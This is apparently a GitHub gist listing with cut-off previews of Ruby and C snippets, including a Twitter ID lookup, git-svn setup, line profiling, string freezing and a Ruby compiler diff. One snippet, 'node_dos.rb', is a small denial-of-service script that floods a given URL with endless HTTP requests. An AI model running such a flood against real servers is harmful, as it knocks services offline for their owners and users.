This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def get_ids(ids) | |
$client.users(ids) | |
rescue Twitter::Error::NotFound => e | |
if ids.size == 1 | |
[] | |
else | |
a, b = ids[0...ids.length / 2], ids[ids.length / 2..-1] | |
get_ids(a) + get_ids(b) | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git clone [email protected]:ruby/ruby.git | |
cd ruby | |
git svn init svn+ssh://[email protected]/ruby/trunk | |
mv .git/refs/remotes/origin/trunk .git/refs/remotes/git-svn | |
git svn rebase | |
# done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require "./config/basic" | |
require "rblineprof" | |
#require "coderay" | |
req = File.expand_path(ARGV[0] || abort("Usage: lineprof.rb <file>")) | |
trace = File.expand_path(ARGV[1] || ARGV[0]) | |
for file, (_, *lines) in lineprof(/./) { require(req) } | |
next unless file == trace |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class String | |
prepend Module.new { | |
def initialize(*) | |
super | |
freeze | |
end | |
} | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <arpa/inet.h> | |
#include <errno.h> | |
#include <pthread.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/socket.h> | |
#include <unistd.h> | |
const char* response = |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// this is currently broken | |
#define _GNU_SOURCE | |
#include <asm/unistd.h> | |
#include <errno.h> | |
#include <signal.h> | |
#include <stdbool.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "socket" | |
require "uri" | |
url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>")) | |
sock = TCPSocket.new(url.host, url.port) | |
loop do | |
sock.write "GET / HTTP/1.1\r\n\r\n" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Session | |
attr_reader :session, :params | |
def initialize(session, params) | |
@session = session | |
@params = params | |
end | |
def login(email, password) | |
if account = Account.find_by_email(email) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/compile.c b/compile.c | |
index 2285d28..02044f3 100644 | |
--- a/compile.c | |
+++ b/compile.c | |
@@ -4311,6 +4311,13 @@ iseq_compile_each(rb_iseq_t *iseq, LINK_ANCHOR *ret, NODE * node, int poped) | |
break; | |
} | |
case NODE_CALL: | |
+ if (nd_type(node->nd_recv) == NODE_STR && node->nd_mid == idFreeze && node->nd_args == NULL) { | |
+ ADD_INSN1(ret, line, opt_str_freeze, rb_fstring(node->nd_recv->nd_lit)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
~/ruby char-immediate-value ruby-2.0.0-github λ cat x.rb | |
str = "hello" | |
p [str[0], str[0].object_id] | |
p [str[1], str[1].object_id] | |
p [str[2], str[2].object_id] | |
~/ruby char-immediate-value ruby-2.0.0-github λ ./miniruby x.rb | |
["h", 26652] | |
["e", 25884] |